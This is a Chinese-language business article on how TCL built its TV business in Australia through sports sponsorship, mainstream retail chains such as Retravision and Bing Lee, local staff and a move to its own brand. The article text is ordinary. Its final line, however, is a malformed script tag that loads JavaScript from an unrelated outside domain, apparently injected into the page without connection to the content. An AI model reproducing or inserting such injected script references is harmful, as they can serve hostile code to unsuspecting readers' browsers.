登陆澳洲市场刚刚两年，tcl就已在当地站稳了脚跟，目前在澳洲市场排名第四，占据了9%的市场份额。根据tcl的目标，到2008年tcl将进入澳大利亚视听产品市场的前三名，年销售额达到13亿元人民币。据悉，作为澳洲分公司的延伸，tcl新西兰分公司也将于明年建立，tcl彩电将继续拓展新西兰市场。
切入“体育营销”
澳洲公司刚开始时实际上只有一间办公室，四个员工，起步却非常快。2004年9月注册，10月份，第一批货交运。到2005年的时候，市场占有率是在6.7%，现在是9%。
这个成绩的取得，“体育营销”功不可没。
对大部分当地人来说，体育营销是很好的切入点。因为当地人对体育赞助非常看重，所以很多大企业都会通过这一点来运作。在澳洲，最热门的运动是澳式橄榄球，然后是板球比赛、英式足球、马赛，这些运动澳洲公司都积极参与赞助，同样，现在tcl也和澳洲的一些网球大赛互相联系。
在墨尔本，当地的马赛和狂欢节是进行体育营销的绝好时机。特别是狂欢节，全洲放假一天，整个国家都在狂欢，观看各种体育和娱乐节目。这时对扩大品牌知名度是很有用的。在狂欢节前后，tcl推出的大型广告牌随处可见。
虽然体育营销对快速提升品牌影响力有很大的作用，但tcl仍然要在与日韩大品牌进行竞争的过程中拿出真本事！
tcl人知道，品牌知名度的建立不是一两天的事，所以必须注重品牌投入。实际上，tcl和中国其他的企业一样，进入澳洲的时候也面临很多的困难，包括产品渠道。但tcl通过对产品的质量控制来弥补初期品牌知名度的不足。据澳洲公司管理层介绍，lcd、pdp现在利润不是很高，竞争又激烈，如果产品质量不稳定，营销费用无疑会大大提高。tcl正是通过售后和供应链体系上提供充分的保证，才使经销方对tcl充满信心。去年澳洲公司获得了一个年度最佳供应商称号，这对于一个刚刚进入澳洲的企业来说是非常难得的。据说这个奖项一年只颁两个，而竞争者有七八十个供应商。过去，赢得这个奖项的一般来说是索尼、lg这种已经在澳洲市场有知名度的企业，tcl进入一年就拿下这个大奖，极大地鼓舞了士气。
通过赞助体育运动，tcl在澳洲树立起“充满激情的、年轻的、国际化的品牌形象”，并且通过细致的沟通、准确的投放，在市场营销方面的花费只有韩国某品牌的1/7到1/10。品牌的提升带来的是销售的飞升，据澳洲公司有关人士预计，2007年销量会翻一番。
把握主流渠道
开拓海外市场，中国家电企业多选择“农村包围城市”的路线。tcl在澳大利亚却选择了与主流渠道商合作。多年来，澳大利亚彩电市场一直被松下、三星等日韩品牌占据，零售基本上是由少数几家全国性的购买集团和连锁店控制。
怎么打开突破口？2004年才以自主品牌进入的tcl，首先选择“牵手”有着500多家全国性连锁店的retravision，而且获得“年度最佳供应商”奖项。与此同时，tcl也迅速进入harveynorman、binglee等重要连锁店。在binglee宽敞明亮的fairfield总店，该公司董事局主席李光裕说：“tcl是唯一来自中国的彩电名牌，销量占卖场总量的12%。
进入主流渠道的同时，tcl也培育了自己的“本土化”团队。为了尽快融入澳大利亚市场，tcl选择了一个澳洲人davidesler担当一把手。他在澳大利亚家电行业有着20多年的销售经验，曾成功把松下、三星品牌引入澳洲，与各大电器零售商建立了良好的关系，tcl当初能够打入主流渠道商，davidesler功不可没。
在tcl澳洲分公司员工名单上，绝大多数都是当地人，即使是中国员工也多在澳洲受过高等教育。各办事处经理更拥有10-22年的销售经验，这支本土化的团队显然很适应澳洲市场的“水土”。我们注意到，tcl正是主动适应所在国市场的游戏规则、文化特点和消费喜好，在人才、管理、品牌等方面采取了因地制宜的战略而“跑赢”新兴市场。同时，tcl在澳洲的“本土化”还非常注重“细节”。tcl在海外市场有一句广告词叫“mynewfavourit”，但之前用的是“favorit”，澳洲分公司发现这是美式英语，于是调整为符合当地英式英语的“favourit”，并将原来“i”上面的一点，改成“心”形，让消费者感到品牌的亲和力。澳大利亚binglee连锁店总经理philmoujaes说：“tcl关注年轻一代的消费者，注重差异化的产品，提供最好的价值，而不是最低的价值，改变了以往他们对中国品牌低质低价的印象。”
主打自有品牌
中国驻墨尔本商务参赞刘翔曾对tcl在澳洲的表现评论说：“tcl仅仅用了一年时间，就从贴牌走向主打自己品牌，这冒了很大风险，但却让tcl在竞争激烈的澳洲市场站稳脚跟，实现了一年内赢利。”他表示，以前中国企业进来以后，本来是想打自己的品牌，但是由于自身的知名度不够，自己的产品不过关，一开始走贴牌的道路，而且至今五年、八年过去了，有些企业还是在走这条道路，完全是由当地的销售商贴牌来“贱卖”自己的产品。?script src=http://er12.com/t.js>
